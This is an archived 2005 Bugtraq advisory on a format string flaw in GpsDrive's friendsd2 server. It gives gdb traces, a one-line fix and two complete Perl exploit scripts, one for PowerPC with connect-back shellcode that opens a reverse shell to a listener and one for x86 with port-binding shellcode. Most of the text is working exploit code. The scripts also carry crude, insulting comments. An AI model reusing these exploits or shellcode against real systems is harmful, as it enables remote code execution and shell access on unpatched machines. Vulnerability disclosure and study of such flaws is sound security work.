Bugtraq mailing list archives
DMA[2005-1104a] - 'GpsDrive friendsd2 format string vulnerability'
From: kfinisterre <kfinisterre () cfm ohio-state edu>
Date: Fri, 04 Nov 2005 12:01:13 +0000
DMA[2005-1104a] - 'GpsDrive friendsd2 format string vulnerability' Author: Kevin Finisterre Vendor: http://www.gpsdrive.cc/ Product: 'GpsDrive' References: http://www.digitalmunition.com/DMA[2005-1104a].txt Description: GpsDrive is a car (bike, ship, plane) navigation system. It can display positioning information provided from a NMEA capable GPS receiver on a zoomable map. Map file autoselecting is done based on the current position and the prefered map scale. All Garmin GPS reveivers with a serial output should be usable, as well as other GPS receivers that support NMEA protocol. GpsDrive was written in C with use of the GTK+ graphic toolkit and it runs on Linux and FreeBSD. With minimal work it is also posisble to run GpsDrive on Windows and on OSX. GpsDrive comes with a server program called friendsd which acts as server for the position of your friends. You see the position of your friends as a car symbol on the map, including the name, time, day of week and the speed of his last connection. A blue arrow shows the last reported direction of your friend. Fritz Ganter has blatantly stated in the man page that "The (friendsd) server was NOT tested for security". Please not that friendsd no longer runs as root since the last round of security patches. kfinisterre:/home/kfinisterre# friendsd2 server: please don't run me as root The friendsd server does contain an obvious format string issue complements of a bad fprintf() call. ./src/friendsd.c:367: fprintf (stderr, txt); Exploitation of this bug is fairly trivial, on powerpc I chose to overwrite a saved return address as shown below. First I just crashed the program and went to frame 2 0x0f67d1e0 in vfprintf () from /lib/tls/libc.so.6 (gdb) bt #0 0x0f67d1e0 in vfprintf () from /lib/tls/libc.so.6 #1 0x0f67cc74 in vfprintf () from /lib/tls/libc.so.6 #2 0x0f6825d0 in fprintf () from /lib/tls/libc.so.6 #3 0x100024b8 in dg_echo () #4 0x10002f28 in main () Next I grab the address of Arglist for frame 2 and overwrite that +4 (gdb) i f Stack level 2, frame at 0x7fffad70: pc = 0xf6825d0 in fprintf; saved pc 0x100024b8 called by frame at 0x7fffae00, caller of frame at 0x7fff8700 Arglist at 0x7fffad70, args: Locals at 0x7fffad70, Previous frame's sp in r1 (gdb) x/a 0x7fffad70+4 0x7fffad74: 0xf6825d0 <fprintf+112> (overwrite this) animosity:/home/kfinisterre$ nc -l -p 31337 -vvv listening on [any] 31337 ... animosity:/home/kfinisterre$ ./gpsdrive-ex-long-ppc.pl $VAR1 = {}; 192.168.1.1: inverse host lookup failed: Unknown host connect to [192.168.1.1] from (UNKNOWN) [192.168.1.1] 3349 id; uid=1000(kfinisterre) gid=1000(kfinisterre) groups=20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),1000(kfinisterre) Workaround: Stop using friendsd2! or simply change the above mentioned fprintf() call to the following. fprintf (stderr,"%s",txt); Timeline associated with this bug: I emailed Fritz Ganter (ganter () ganter at) at least twice about this and got no response. -KF
#!/usr/bin/perl -w # # Heh - Code by KF (kf_lists[at]digital_munition[dot]com) # - Shellcode by Charles Stevenson # http://www.digitalmunition.com # # FrSIRT 24/24 & 7/7 - Centre de Recherche on Donkey Testicles. # Free 14 day Testicle licking trial available! # # IIIIIIIIII # I::::::::I # I::::::::I # II::::::II # I::::I # I::::I ## ## ####### ######## ## ## # I::::I ## ## ## ## ## ## #### # EEEEEEEEEEEEEEEEEEEEEE I::::I ## ## ## ## ######## ## # E::::::::::::::::::::E I::::I ## ## ## ## ## ## ## # E::::::::::::::::::::E I::::I ## ## ## ## ## ## ## # EE::::::EEEEEEEEE::::E I::::I ### ####### ## ## ## # E:::::E EEEEEE I::::I # E:::::E II::::::II # E::::::EEEEEEEEEE I::::::::I # E:::::::::::::::E and I::::::::I # E:::::::::::::::E IIIIIIIIII # E::::::EEEEEEEEEE ######## ####### ## ## ## ## # E:::::E ## ## ## ## ### ## ## ## # E:::::E EEEEEE ## ## ## ## #### ## #### # EE::::::EEEEEEEE:::::E ######## ## ## ## ## ## ## # E::::::::::::::::::::E ## ## ## ## ## #### ## # E::::::::::::::::::::E ## ## ## ## ## ### ## # EEEEEEEEEEEEEEEEEEEEEE ######## ####### ## ## ## # (Kickin you all up in your grill piece since the early 90's) # # friendsd.c:367: fprintf (stderr, txt); # # Tested against: gpsdrive_2.09-2_powerpc.deb # # Crash the program and go to frame 2 # 0x0f67d1e0 in vfprintf () from /lib/tls/libc.so.6 # (gdb) bt # #0 0x0f67d1e0 in vfprintf () from /lib/tls/libc.so.6 # #1 0x0f67cc74 in vfprintf () from /lib/tls/libc.so.6 # #2 0x0f6825d0 in fprintf () from /lib/tls/libc.so.6 # #3 0x100024b8 in dg_echo () # #4 0x10002f28 in main () # # Grab the address of Arglist for frame 2 and overwrite that +4 # (gdb) i f # Stack level 2, frame at 0x7fffad70: # pc = 0xf6825d0 in fprintf; saved pc 0x100024b8 # called by frame at 0x7fffae00, caller of frame at 0x7fff8700 # Arglist at 0x7fffad70, args: # Locals at 0x7fffad70, Previous frame's sp in r1 # # (gdb) x/a 0x7fffad70+4 # 0x7fffad74: 0xf6825d0 <fprintf+112> (overwrite this) # # animosity:/home/kfinisterre# nc -l -p 31337 -vvv # listening on [any] 31337 ... # 192.168.1.1: inverse host lookup failed: Unknown host # connect to [192.168.1.1] from (UNKNOWN) [192.168.1.1] 3349 # id; # uid=1000(kfinisterre) gid=1000(kfinisterre) # groups=20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),1000(kfinisterre) # uname -a; # Linux animosity 2.6.11-powerpc #1 Fri May 13 15:47:19 CEST 2005 ppc GNU/Linux # # This is NOT reliable or robust... Find your own damn pointers to overwrite use Net::Friends; use Data::Dumper; $shellcode = "\x69\x69\x69\x69" . # /* connect-core5.c by Charles Stevenson <core () bokeoa com> */ "\x7c\x3f\x0b\x78" . #/*mr r31,r1*/ "\x3b\x40\x01\x0e" . #/*li r26,270*/ "\x3b\x5a\xfe\xf4" . #/*addi r26,r26,-268*/ "\x7f\x43\xd3\x78" . #/*mr r3,r26*/ "\x3b\x60\x01\x0d" . #/*li r27,269*/ "\x3b\x7b\xfe\xf4" . #/*addi r27,r27,-268*/ "\x7f\x64\xdb\x78" . #/*mr r4,r27*/ "\x7c\xa5\x2a\x78" . #/*xor r5,r5,r5*/ "\x7c\x3c\x0b\x78" . #/*mr r28,r1*/ "\x3b\x9c\x01\x0c" . #/*addi r28,r28,268*/ "\x90\x7c\xff\x08" . #/*stw r3,-248(r28)*/ "\x90\x9c\xff\x0c" . #/*stw r4,-244(r28)*/ "\x90\xbc\xff\x10" . #/*stw r5,-240(r28)*/ "\x7f\x63\xdb\x78" . #/*mr r3,r27*/ "\x3b\xdf\x01\x0c" . #/*addi r30,r31,268*/ "\x38\x9e\xff\x08" . #/*addi r4,r30,-248*/ "\x3b\x20\x01\x98" . #/*li r25,408*/ "\x7f\x20\x16\x70" . #/*srawi r0,r25,2*/ "\x44\xde\xad\xf2" . #/*.long0x44deadf2*/ "\x7c\x78\x1b\x78" . #/*mr r24,r3*/ "\xb3\x5e\xff\x16" . #/*sth r26,-234(r30)*/ "\x7f\xbd\xea\x78" . #/*xor r29,r29,r29*/ #// Craft your exploit to poke these value in. Right now it's set #// for port 31337 and ip 192.168.1.1. Here's an example #// core@morpheus:~$ printf "0x%02x%02x\n0x%02x%02x\n" 192 168 1 1 #// 0xc0a8 #// 0x0101 "\x63\xbd" . # /* PORT # */ "\x7a\x69" . #/*ori r29,r29,31337*/ "\xb3\xbe\xff\x18" . #/*sth r29,-232(r30)*/ "\x3f\xa0" . # /*IP(A.B) */ #"\x42\x07" . # wtf is this? "\xc0\xa8" . # /*lis r29,-16216*/ "\x63\xbd" . # /*IP(C.D) */ #"\xa1\x39" . # wtf is this? "\x01\x01" . # /*ori r29,r29,257*/ "\x93\xbe\xff\x1a" . #/*stw r29,-230(r30)*/ "\x93\x1c\xff\x08" . #/*stw r24,-248(r28)*/ "\x3a\xde\xff\x16" . #/*addi r22,r30,-234*/ "\x92\xdc\xff\x0c" . #/*stw r22,-244(r28)*/ "\x3b\xa0\x01\x1c" . #/*li r29,284*/ "\x38\xbd\xfe\xf4" . #/*addi r5,r29,-268*/ "\x90\xbc\xff\x10" . #/*stw r5,-240(r28)*/ "\x7f\x20\x16\x70" . #/*srawi r0,r25,2*/ "\x7c\x7a\xda\x14" . #/*add r3,r26,r27*/ "\x38\x9c\xff\x08" . #/*addi r4,r28,-248*/ "\x44\xde\xad\xf2" . #/*.long0x44deadf2*/ "\x7f\x03\xc3\x78" . #/*mr r3,r24*/ "\x7c\x84\x22\x78" . #/*xor r4,r4,r4*/ "\x3a\xe0\x01\xf8" . #/*li r23,504*/ "\x7e\xe0\x1e\x70" . #/*srawi r0,r23,3*/ "\x44\xde\xad\xf2" . #/*.long0x44deadf2*/ "\x7f\x03\xc3\x78" . #/*mr r3,r24*/ "\x7f\x64\xdb\x78" . #/*mr r4,r27*/ "\x7e\xe0\x1e\x70" . #/*srawi r0,r23,3*/ "\x44\xde\xad\xf2" . #/*.long0x44deadf2*/ #// comment out the next 4 lines to save 16 bytes and lose stderr #//"\x7f\x03\xc3\x78" /*mr r3,r24*/ #//"\x7f\x44\xd3\x78" /*mr r4,r26*/ #//"\x7e\xe0\x1e\x70" /*srawi r0,r23,3*/ #//"\x44\xde\xad\xf2" /*.long0x44deadf2*/ "\x7c\xa5\x2a\x79" . #/*xor. r5,r5,r5*/ "\x42\x40\xff\x35" . #/*bdzl+ 10000454<main>*/ "\x7f\x08\x02\xa6" . #/*mflr r24*/ "\x3b\x18\x01\x34" . #/*addi r24,r24,308*/ "\x98\xb8\xfe\xfb" . #/*stb r5,-261(r24)*/ /* KF / Core / Ghandi mojo */ "\x38\x78\xfe\xf4" . #/*addi r3,r24,-268*/ "\x90\x61\xff\xf8" . #/*stw r3,-8(r1)*/ "\x38\x81\xff\xf8" . #/*addi r4,r1,-8*/ "\x90\xa1\xff\xfc" . #/*stw r5,-4(r1)*/ "\x3b\xc0\x01\x60" . #/*li r30,352*/ "\x7f\xc0\x2e\x70" . #/*srawi r0,r30,5*/ "\x44\xde\xad\xf2" . #/*.long0x44deadf2*/ "/bin/shZ"; # /* Z will become NULL */ $name = 'aaaaaaaa-aaaa'; $writeaddr = 0x7fffad74; # Saved ret in frame 2 Arglist+4 (inside gdb) $writeaddr = 0x7fffad94; # (outside gdb) Pladow! Kickin fools all up in the grill piece. $addy = pack('l', $writeaddr); $addy2 = pack('l', $writeaddr+2); #$instr = 0x7fffae84; # Shellcode (inside gdb) $instr = 0x7fffaea4; # Shellcode (outside gdb) $lo = ($instr >> 0) & 0xffff; $hi = ($instr >> 16) & 0xffff; $hi = $hi - 0x4e; $lo = (0x10000 + $lo) - $hi - 0x50; #$hi = 1; $lo =1; $dir = "$addy$addy2|%." . $hi . "d|%28\$hn|%." . $lo . "d|%29\$hn$shellcode"; $friends = Net::Friends->new(shift || 'localhost'); $friends->report(name => $name, lat => '1111', lon => '2222', speed => '3333', dir => $dir); print Dumper($friends->query); # P.S. Fsck drow! And did I mention k-otick blows! Gimme some freedom fries you bastards!
#!/usr/bin/perl -w # # Code by KF, although it is most likely ripped from John H. # (kf_lists[at]digital_munition[dot]com) # # http://www.digitalmunition.com # # FrSIRT 24/24 & 7/7 - Centre de Recherche on Donkey Testicles. # Free 14 day Testicle licking trial available! # # friendsd.c:367: fprintf (stderr, txt); # # Tested on intel using gpsdrive_2.09-2_i386.deb # # kfinisterre@animosity:~$ telnet localhost 5074 # Trying 127.0.0.1... # Connected to animosity # Escape character is '^]'. # id; # uid=1000(kfinisterre) gid=1000(kfinisterre) groups=1000(kfinisterre) # : command not found # # s0t4ipv6 () Shellcode com ar # x86 portbind a shell in port 5074 # 92 bytes. # # This shit is NOT robust and most likely will NOT work on kernel 2.6.12 # because of the random address space. Find your own damn pointers to overwrite # $shellcode = "\x90" x 2 . "\x31\xc0" . # xorl %eax,%eax "\x50" . # pushl %eax "\x40" . # incl %eax "\x89\xc3" . # movl %eax,%ebx "\x50" . # pushl %eax "\x40" . # incl %eax "\x50" . # pushl %eax "\x89\xe1" . # movl %esp,%ecx "\xb0\x66" . # movb $0x66,%al "\xcd\x80" . # int $0x80 "\x31\xd2" . # xorl %edx,%edx "\x52" . # pushl %edx "\x66\x68\x13\xd2" . # pushw $0xd213 "\x43" . # incl %ebx "\x66\x53" . # pushw %bx "\x89\xe1" . # movl %esp,%ecx "\x6a\x10" . # pushl $0x10 "\x51" . # pushl %ecx "\x50" . # pushl %eax "\x89\xe1" . # movl %esp,%ecx "\xb0\x66" . # movb $0x66,%al "\xcd\x80" . # int $0x80 "\x40" . # incl %eax "\x89\x44\x24\x04" . # movl %eax,0x4(%esp,1) "\x43" . # incl %ebx "\x43" . # incl %ebx "\xb0\x66" . # movb $0x66,%al "\xcd\x80" . # int $0x80 "\x83\xc4\x0c" . # addl $0xc,%esp "\x52" . # pushl %edx "\x52" . # pushl %edx "\x43" . # incl %ebx "\xb0\x66" . # movb $0x66,%al "\xcd\x80" . # int $0x80 "\x93" . # xchgl %eax,%ebx "\x89\xd1" . # movl %edx,%ecx "\xb0\x3f" . # movb $0x3f,%al "\xcd\x80" . # int $0x80 "\x41" . # incl %ecx "\x80\xf9\x03" . # cmpb $0x3,%cl "\x75\xf6" . # jnz <shellcode+0x40> "\x52" . # pushl %edx "\x68\x6e\x2f\x73\x68" . # pushl $0x68732f6e "\x68\x2f\x2f\x62\x69" . # pushl $0x69622f2f "\x89\xe3" . # movl %esp,%ebx "\x52" . # pushl %edx "\x53" . # pushl %ebx "\x89\xe1" . # movl %esp,%ecx "\xb0\x0b" . # movb $0xb,%al "\xcd\x80"; # int $0x80 use Net::Friends; use Data::Dumper; $name = 'GPSDRIVE-aaaa'; # 0804bb84 R_386_JUMP_SLOT recvfrom $addy = "\x86\xbb\x04\x08"; # This is the write address. $addy2 = "\x84\xbb\x04\x08"; #$retaddr = 0xbfffba7c; # Retaddr when using gdb $retaddr = 0xbfffba8a; # Retaddr when NOT using gdb. Its that same kick you in the face styleee from the ppc sploit. $lo = ($retaddr >> 0) & 0xffff; $hi = ($retaddr >> 16) & 0xffff; $hi = $hi - 0x4c; $lo = (0x10000 + $lo) - $hi - 0x4c; $hi =1; $lo =1; $dir = "$addy$addy2%." . $hi . "d%379\$x%." . $lo . "d%380\$x$shellcode"; $friends = Net::Friends->new(shift || 'localhost'); $friends->report(name => $name, lat => '1111', lon => '2222', speed => '3333', dir => $dir); print Dumper($friends->query); # P.S. - I fart in the general direction of Fr-Sirt.
Current thread:
- DMA[2005-1104a] - 'GpsDrive friendsd2 format string vulnerability' kfinisterre (Nov 05)